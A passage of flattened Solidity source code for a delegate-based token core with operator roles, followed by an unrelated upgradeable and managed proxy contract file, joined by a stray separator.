return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
}
// File: contracts/util/convert/BytesConvert.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title BytesConvert
* @dev Convert bytes into different types
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error Messages:
* BC01: source must be a valid 32-bytes length
* BC02: source must not be greater than 32-bytes
**/
library BytesConvert {
/**
* @dev toUint256
*/
function toUint256(bytes memory _source) internal pure returns (uint256 result) {
require(_source.length == 32, "BC01");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
/**
* @dev toBytes32
*/
function toBytes32(bytes memory _source) internal pure returns (bytes32 result) {
require(_source.length <= 32, "BC02");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
}
// File: contracts/abstract/Core.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Core
* @dev Solidity version 0.5.x prevents to mark as view
* @dev functions using delegate call.
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* CO01: Only Proxy may access the function
* CO02: The proxy has no delegates
* CO03: Delegatecall should be successfull
* CO04: Invalid delegateId
* CO05: Proxy must exist
**/
contract Core is Storage {
using BytesConvert for bytes;
modifier onlyProxy {
require(proxyDelegates[msg.sender] != address(0), "CO01");
_;
}
function delegateCall(address _proxy) internal returns (bool status)
{
address delegate = proxyDelegates[_proxy];
require(delegate != address(0), "CO02");
// solhint-disable-next-line avoid-low-level-calls
(status, ) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function delegateCallUint256(address _proxy)
internal returns (uint256)
{
return delegateCallBytes(_proxy).toUint256();
}
function delegateCallBytes(address _proxy)
internal returns (bytes memory result)
{
bool status;
address delegate = proxyDelegates[_proxy];
require(delegate != address(0), "CO04");
// solhint-disable-next-line avoid-low-level-calls
(status, result) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function defineProxy(
address _proxy,
uint256 _delegateId)
internal returns (bool)
{
require(_delegateId < delegates.length, "CO04");
address delegate = delegates[_delegateId];
require(_proxy != address(0), "CO05");
proxyDelegates[_proxy] = delegate;
return true;
}
function removeProxy(address _proxy)
internal returns (bool)
{
delete proxyDelegates[_proxy];
return true;
}
}
// File: contracts/operable/OperableCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title OperableCore
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* OC01: Sender is not a system operator
* OC02: Sender is not a core operator
* OC03: Sender is not a proxy operator
* OC04: AllPrivileges is a reserved role
*/
contract OperableCore is Core, OperableStorage {
constructor() public {
operators[msg.sender].coreRole = ALL_PRIVILEGES;
operators[msg.sender].proxyRoles[ALL_PROXIES] = ALL_PRIVILEGES;
}
/**
* @dev onlySysOp modifier
* @dev for safety reason, core owner
* @dev can always define roles and assign or revoke operatos
*/
modifier onlySysOp() {
require(msg.sender == owner || hasCorePrivilege(msg.sender, msg.sig), "OC01");
_;
}
/**
* @dev onlyCoreOp modifier
*/
modifier onlyCoreOp() {
require(hasCorePrivilege(msg.sender, msg.sig), "OC02");
_;
}
/**
* @dev onlyProxyOp modifier
*/
modifier onlyProxyOp(address _proxy) {
require(hasProxyPrivilege(msg.sender, _proxy, msg.sig), "OC03");
_;
}
/**
* @dev defineRoles
* @param _role operator role
* @param _privileges as 4 bytes of the method
*/
function defineRole(bytes32 _role, bytes4[] memory _privileges)
public onlySysOp returns (bool)
{
require(_role != ALL_PRIVILEGES, "OC04");
delete roles[_role];
for (uint256 i=0; i < _privileges.length; i++) {
roles[_role].privileges[_privileges[i]] = true;
}
emit RoleDefined(_role);
return true;
}
/**
* @dev assignOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignOperators(bytes32 _role, address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].coreRole = _role;
emit OperatorAssigned(_role, _operators[i]);
}
return true;
}
/**
* @dev assignProxyOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignProxyOperators(
address _proxy, bytes32 _role, address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].proxyRoles[_proxy] = _role;
emit ProxyOperatorAssigned(_proxy, _role, _operators[i]);
}
return true;
}
/**
* @dev removeOperator
* @param _operators addresses
*/
function revokeOperators(address[] memory _operators)
public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
delete operators[_operators[i]];
emit OperatorRevoked(_operators[i]);
}
return true;
}
event RoleDefined(bytes32 role);
event OperatorAssigned(bytes32 role, address operator);
event ProxyOperatorAssigned(address proxy, bytes32 role, address operator);
event OperatorRevoked(address operator);
}
// File: contracts/util/math/SafeMath.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interface/IRule.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IRule
* @dev IRule interface
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
interface IRule {
function isAddressValid(address _address) external view returns (bool);
function isTransferValid(address _from, address _to, uint256 _amount)
external view returns (bool);
}
// File: contracts/interface/IClaimable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IClaimable
* @dev IClaimable interface
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
contract IClaimable {
function hasClaimsSince(address _address, uint256 at)
external view returns (bool);
}
// File: contracts/interface/IUserRegistry.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IUserRegistry
* @dev IUserRegistry interface
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
contract IUserRegistry {
event UserRegistered(uint256 indexed userId);
event AddressAttached(uint256 indexed userId, address address_);
event AddressDetached(uint256 indexed userId, address address_);
function registerManyUsersExternal(address[] calldata _addresses, uint256 _validUntilTime)
external returns (bool);
function registerManyUsersFullExternal(
address[] calldata _addresses,
uint256 _validUntilTime,
uint256[] calldata _values) external returns (bool);
function attachManyAddressesExternal(uint256[] calldata _userIds, address[] calldata _addresses)
external returns (bool);
function detachManyAddressesExternal(address[] calldata _addresses)
external returns (bool);
function suspendManyUsers(uint256[] calldata _userIds) external returns (bool);
function unsuspendManyUsersExternal(uint256[] calldata _userIds) external returns (bool);
function updateManyUsersExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended) external returns (bool);
function updateManyUsersExtendedExternal(
uint256[] calldata _userIds,
uint256 _key, uint256 _value) external returns (bool);
function updateManyUsersAllExtendedExternal(
uint256[] calldata _userIds,
uint256[] calldata _values) external returns (bool);
function updateManyUsersFullExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended,
uint256[] calldata _values) external returns (bool);
function name() public view returns (string memory);
function currency() public view returns (bytes32);
function userCount() public view returns (uint256);
function userId(address _address) public view returns (uint256);
function validUserId(address _address) public view returns (uint256);
function validUser(address _address, uint256[] memory _keys)
public view returns (uint256, uint256[] memory);
function validity(uint256 _userId) public view returns (uint256, bool);
function extendedKeys() public view returns (uint256[] memory);
function extended(uint256 _userId, uint256 _key)
public view returns (uint256);
function manyExtended(uint256 _userId, uint256[] memory _key)
public view returns (uint256[] memory);
function isAddressValid(address _address) public view returns (bool);
function isValid(uint256 _userId) public view returns (bool);
function defineExtendedKeys(uint256[] memory _extendedKeys) public returns (bool);
function registerUser(address _address, uint256 _validUntilTime)
public returns (bool);
function registerUserFull(
address _address,
uint256 _validUntilTime,
uint256[] memory _values) public returns (bool);
function attachAddress(uint256 _userId, address _address) public returns (bool);
function detachAddress(address _address) public returns (bool);
function detachSelf() public returns (bool);
function detachSelfAddress(address _address) public returns (bool);
function suspendUser(uint256 _userId) public returns (bool);
function unsuspendUser(uint256 _userId) public returns (bool);
function updateUser(uint256 _userId, uint256 _validUntilTime, bool _suspended)
public returns (bool);
function updateUserExtended(uint256 _userId, uint256 _key, uint256 _value)
public returns (bool);
function updateUserAllExtended(uint256 _userId, uint256[] memory _values)
public returns (bool);
function updateUserFull(
uint256 _userId,
uint256 _validUntilTime,
bool _suspended,
uint256[] memory _values) public returns (bool);
}
// File: contracts/interface/IRatesProvider.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IRatesProvider
* @dev IRatesProvider interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract IRatesProvider {
function defineRatesExternal(uint256[] calldata _rates) external returns (bool);
function name() public view returns (string memory);
function rate(bytes32 _currency) public view returns (uint256);
function currencies() public view
returns (bytes32[] memory, uint256[] memory, uint256);
function rates() public view returns (uint256, uint256[] memory);
function convert(uint256 _amount, bytes32 _fromCurrency, bytes32 _toCurrency)
public view returns (uint256);
function defineCurrencies(
bytes32[] memory _currencies,
uint256[] memory _decimals,
uint256 _rateOffset) public returns (bool);
function defineRates(uint256[] memory _rates) public returns (bool);
event RateOffset(uint256 rateOffset);
event Currencies(bytes32[] currencies, uint256[] decimals);
event Rate(uint256 at, bytes32 indexed currency, uint256 rate);
}
// File: contracts/TokenStorage.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Token storage
* @dev Token storage
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract TokenStorage is OperableStorage {
using SafeMath for uint256;
enum TransferCode {
UNKNOWN,
OK,
INVALID_SENDER,
NO_RECIPIENT,
INSUFFICIENT_TOKENS,
LOCKED,
FROZEN,
RULE,
LIMITED_RECEPTION
}
struct Proof {
uint256 amount;
uint64 startAt;
uint64 endAt;
}
struct AuditData {
uint64 createdAt;
uint64 lastTransactionAt;
uint64 lastEmissionAt;
uint64 lastReceptionAt;
uint256 cumulatedEmission;
uint256 cumulatedReception;
}
struct AuditStorage {
mapping (address => bool) selector;
AuditData sharedData;
mapping(uint256 => AuditData) userData;
mapping(address => AuditData) addressData;
}
struct Lock {
uint256 startAt;
uint256 endAt;
mapping(address => bool) exceptions;
}
struct TokenData {
string name;
string symbol;
uint256 decimals;
uint256 totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
bool mintingFinished;
uint256 allTimeIssued; // potential overflow
uint256 allTimeRedeemed; // potential overflow
uint256 allTimeSeized; // potential overflow
mapping (address => Proof[]) proofs;
mapping (address => uint256) frozenUntils;
Lock lock;
IRule[] rules;
IClaimable[] claimables;
}
mapping (address => TokenData) internal tokens_;
mapping (address => mapping (uint256 => AuditStorage)) internal audits;
IUserRegistry internal userRegistry;
IRatesProvider internal ratesProvider;
bytes32 internal currency;
uint256[] internal userKeys;
string internal name_;
/**
* @dev currentTime()
*/
function currentTime() internal view returns (uint64) {
// solhint-disable-next-line not-rely-on-time
return uint64(now);
}
event OraclesDefined(
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
bytes32 currency,
uint256[] userKeys);
event AuditSelectorDefined(
address indexed scope, uint256 scopeId, address[] addresses, bool[] values);
event Issue(address indexed token, uint256 amount);
event Redeem(address indexed token, uint256 amount);
event Mint(address indexed token, uint256 amount);
event MintFinished(address indexed token);
event ProofCreated(address indexed token, address indexed holder, uint256 proofId);
event RulesDefined(address indexed token, IRule[] rules);
event LockDefined(
address indexed token,
uint256 startAt,
uint256 endAt,
address[] exceptions
);
event Seize(address indexed token, address account, uint256 amount);
event Freeze(address address_, uint256 until);
event ClaimablesDefined(address indexed token, IClaimable[] claimables);
event TokenDefined(
address indexed token,
uint256 delegateId,
string name,
string symbol,
uint256 decimals);
event TokenRemoved(address indexed token);
}
// File: contracts/interface/ITokenCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ITokenCore
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
**/
contract ITokenCore {
function name() public view returns (string memory);
function oracles() public view returns
(IUserRegistry, IRatesProvider, bytes32, uint256[] memory);
function auditSelector(
address _scope,
uint256 _scopeId,
address[] memory _addresses)
public view returns (bool[] memory);
function auditShared(
address _scope,
uint256 _scopeId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
function auditUser(
address _scope,
uint256 _scopeId,
uint256 _userId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
function auditAddress(
address _scope,
uint256 _scopeId,
address _holder) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception);
/*********** TOKEN DATA ***********/
function token(address _token) public view returns (
bool mintingFinished,
uint256 allTimeIssued,
uint256 allTimeRedeemed,
uint256 allTimeSeized,
uint256[2] memory lock,
uint256 freezedUntil,
IRule[] memory,
IClaimable[] memory);
function tokenProofs(address _token, address _holder, uint256 _proofId)
public view returns (uint256, uint64, uint64);
function canTransfer(address, address, uint256)
public returns (uint256);
/*********** TOKEN ADMIN ***********/
function issue(address, uint256)
public returns (bool);
function redeem(address, uint256)
public returns (bool);
function mint(address, address, uint256)
public returns (bool);
function finishMinting(address)
public returns (bool);
function mintAtOnce(address, address[] memory, uint256[] memory)
public returns (bool);
function seize(address _token, address, uint256)
public returns (bool);
function freezeManyAddresses(
address _token,
address[] memory _addresses,
uint256 _until) public returns (bool);
function createProof(address, address)
public returns (bool);
function defineLock(address, uint256, uint256, address[] memory)
public returns (bool);
function defineRules(address, IRule[] memory) public returns (bool);
function defineClaimables(address, IClaimable[] memory) public returns (bool);
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string memory _name,
string memory _symbol,
uint256 _decimals) public returns (bool);
function removeToken(address _token) public returns (bool);
function defineOracles(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
uint256[] memory _userKeys) public returns (bool);
function defineAuditSelector(
address _scope,
uint256 _scopeId,
address[] memory _selectorAddresses,
bool[] memory _selectorValues) public returns (bool);
event OraclesDefined(
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
bytes32 currency,
uint256[] userKeys);
event AuditSelectorDefined(
address indexed scope, uint256 scopeId, address[] addresses, bool[] values);
event Issue(address indexed token, uint256 amount);
event Redeem(address indexed token, uint256 amount);
event Mint(address indexed token, uint256 amount);
event MintFinished(address indexed token);
event ProofCreated(address indexed token, address holder, uint256 proofId);
event RulesDefined(address indexed token, IRule[] rules);
event LockDefined(
address indexed token,
uint256 startAt,
uint256 endAt,
address[] exceptions
);
event Seize(address indexed token, address account, uint256 amount);
event Freeze(address address_, uint256 until);
event ClaimablesDefined(address indexed token, IClaimable[] claimables);
event TokenDefined(
address indexed token,
uint256 delegateId,
string name,
string symbol,
uint256 decimals);
event TokenRemoved(address indexed token);
}
// File: contracts/TokenCore.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title TokenCore
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* TC01: Currency stored values must remain consistent
* TC02: The audit selector definition requires the same number of addresses and values
**/
contract TokenCore is ITokenCore, OperableCore, TokenStorage {
/**
* @dev constructor
*
* @dev It is desired for now that delegates
* @dev cannot be changed once the core has been deployed.
*/
constructor(string memory _name, address[] memory _delegates) public {
name_ = _name;
delegates = _delegates;
}
function name() public view returns (string memory) {
return name_;
}
function oracles() public view returns
(IUserRegistry, IRatesProvider, bytes32, uint256[] memory)
{
return (userRegistry, ratesProvider, currency, userKeys);
}
function auditSelector(
address _scope,
uint256 _scopeId,
address[] memory _addresses)
public view returns (bool[] memory)
{
AuditStorage storage auditStorage = audits[_scope][_scopeId];
bool[] memory selector = new bool[](_addresses.length);
for (uint256 i=0; i < _addresses.length; i++) {
selector[i] = auditStorage.selector[_addresses[i]];
}
return selector;
}
function auditShared(
address _scope,
uint256 _scopeId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].sharedData;
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
function auditUser(
address _scope,
uint256 _scopeId,
uint256 _userId) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].userData[_userId];
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
function auditAddress(
address _scope,
uint256 _scopeId,
address _holder) public view returns (
uint64 createdAt,
uint64 lastTransactionAt,
uint64 lastEmissionAt,
uint64 lastReceptionAt,
uint256 cumulatedEmission,
uint256 cumulatedReception)
{
AuditData memory audit = audits[_scope][_scopeId].addressData[_holder];
createdAt = audit.createdAt;
lastTransactionAt = audit.lastTransactionAt;
lastReceptionAt = audit.lastReceptionAt;
lastEmissionAt = audit.lastEmissionAt;
cumulatedReception = audit.cumulatedReception;
cumulatedEmission = audit.cumulatedEmission;
}
/************** ERC20 **************/
function tokenName() public view returns (string memory) {
return tokens_[msg.sender].name;
}
function tokenSymbol() public view returns (string memory) {
return tokens_[msg.sender].symbol;
}
function tokenDecimals() public view returns (uint256) {
return tokens_[msg.sender].decimals;
}
function tokenTotalSupply() public view returns (uint256) {
return tokens_[msg.sender].totalSupply;
}
function tokenBalanceOf(address _owner) public view returns (uint256) {
return tokens_[msg.sender].balances[_owner];
}
function tokenAllowance(address _owner, address _spender)
public view returns (uint256)
{
return tokens_[msg.sender].allowed[_owner][_spender];
}
function transfer(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function transferFrom(address, address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function approve(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function increaseApproval(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function decreaseApproval(address, address, uint256)
public onlyProxy returns (bool status)
{
return delegateCall(msg.sender);
}
function canTransfer(address, address, uint256)
public onlyProxy returns (uint256)
{
return delegateCallUint256(msg.sender);
}
/*********** TOKEN DATA ***********/
function token(address _token) public view returns (
bool mintingFinished,
uint256 allTimeIssued,
uint256 allTimeRedeemed,
uint256 allTimeSeized,
uint256[2] memory lock,
uint256 frozenUntil,
IRule[] memory rules,
IClaimable[] memory claimables) {
TokenData storage tokenData = tokens_[_token];
mintingFinished = tokenData.mintingFinished;
allTimeIssued = tokenData.allTimeIssued;
allTimeRedeemed = tokenData.allTimeRedeemed;
allTimeSeized = tokenData.allTimeSeized;
lock = [ tokenData.lock.startAt, tokenData.lock.endAt ];
frozenUntil = tokenData.frozenUntils[msg.sender];
rules = tokenData.rules;
claimables = tokenData.claimables;
}
function tokenProofs(address _token, address _holder, uint256 _proofId)
public view returns (uint256, uint64, uint64)
{
Proof[] storage proofs = tokens_[_token].proofs[_holder];
if (_proofId < proofs.length) {
Proof storage proof = proofs[_proofId];
return (proof.amount, proof.startAt, proof.endAt);
}
return (uint256(0), uint64(0), uint64(0));
}
/*********** TOKEN ADMIN ***********/
function issue(address _token, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function redeem(address _token, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function mint(address _token, address, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function finishMinting(address _token)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function mintAtOnce(address _token, address[] memory, uint256[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function seize(address _token, address, uint256)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function freezeManyAddresses(
address _token,
address[] memory,
uint256) public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function createProof(address _token, address)
public returns (bool)
{
return delegateCall(_token);
}
function defineLock(address _token, uint256, uint256, address[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineRules(address _token, IRule[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
function defineClaimables(address _token, IClaimable[] memory)
public onlyProxyOp(_token) returns (bool)
{
return delegateCall(_token);
}
/************ CORE ADMIN ************/
function defineToken(
address _token,
uint256 _delegateId,
string memory _name,
string memory _symbol,
uint256 _decimals)
public onlyCoreOp returns (bool)
{
defineProxy(_token, _delegateId);
TokenData storage tokenData = tokens_[_token];
tokenData.name = _name;
tokenData.symbol = _symbol;
tokenData.decimals = _decimals;
emit TokenDefined(_token, _delegateId, _name, _symbol, _decimals);
return true;
}
function removeToken(address _token)
public onlyCoreOp returns (bool)
{
removeProxy(_token);
delete tokens_[_token];
emit TokenRemoved(_token);
return true;
}
function defineOracles(
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
uint256[] memory _userKeys)
public onlyCoreOp returns (bool)
{
if (currency != bytes32(0)) {
// Updating the core currency is not yet supported
require(_userRegistry.currency() == currency, "TC01");
} else {
currency = _userRegistry.currency();
}
userRegistry = _userRegistry;
ratesProvider = _ratesProvider;
userKeys = _userKeys;
emit OraclesDefined(userRegistry, ratesProvider, currency, userKeys);
return true;
}
function defineAuditSelector(
address _scope,
uint256 _scopeId,
address[] memory _selectorAddresses,
bool[] memory _selectorValues) public onlyCoreOp returns (bool)
{
require(_selectorAddresses.length == _selectorValues.length, "TC02");
AuditStorage storage auditStorage = audits[_scope][_scopeId];
for (uint256 i=0; i < _selectorAddresses.length; i++) {
auditStorage.selector[_selectorAddresses[i]] = _selectorValues[i];
}
emit AuditSelectorDefined(_scope, _scopeId, _selectorAddresses, _selectorValues);
return true;
}
}
|
DC1
|
// SPDX-License-Identifier: MIT
// File: contracts/proxy/Proxy.sol
pragma solidity >=0.6 <0.7.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: contracts/proxy/UpgradeableProxy.sol
pragma solidity >=0.6 <0.7.0;
/**
* @title UpgradeableProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/proxy/ManagedProxy.sol
pragma solidity >=0.6 <0.7.0;
/**
* @title ManagedProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract ManagedProxy is UpgradeableProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function getProxyAdmin() public view returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function getProxyImplementation() public view returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external payable ifAdmin {
_upgradeTo(newImplementation);
}
/**
